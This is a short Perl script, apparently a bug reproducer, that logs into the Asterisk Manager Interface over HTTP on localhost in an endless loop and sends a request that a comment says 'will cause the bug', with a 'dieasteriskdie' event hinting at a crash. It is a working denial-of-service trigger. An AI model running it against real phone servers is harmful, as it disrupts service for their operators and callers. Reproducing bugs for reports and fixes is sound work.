#!/usr/bin/perl
use LWP;
use HTTP::Request::Common;
use HTTP::Cookies;
use strict;

my $amihost='localhost';
#these must be valid
my $amiusername='amiuser';
my $amipassword='amipass';

while(1){
	my $browser = new LWP::UserAgent( keep_alive => 1 );
	$browser->agent('Mozilla/5.0');
	$browser->default_header( 'Accept-Encoding' => scalar HTTP::Message::decodable() );
	$browser->default_header( 'Accept-Language' => "no, en" );
	$browser->cookie_jar( { hide_cookie2 => 1 } );

	my $url      = "http://$amihost:8088/manager?action=login&username=$amiusername&secret=$amipassword";
	my $request  = GET $url;
	my $response = $browser->request($request);
	if ( !$response->is_success ) {
		print("http error on login:  ". $response->code  ." and ". $response->status_line);
	}

	$url =
#either of these lines will cause the bug.  
#"http://$amihost:8088/manager?action=UserEvent&UserEvent=dieasteriskdie";
"http://$amihost:8088/manager";

	$request  = GET $url;
	$response = $browser->request($request);
	if ( !$response->is_success ) {
		print("http error on send: ". $response->code  ." and ". $response->status_line);
	}
}

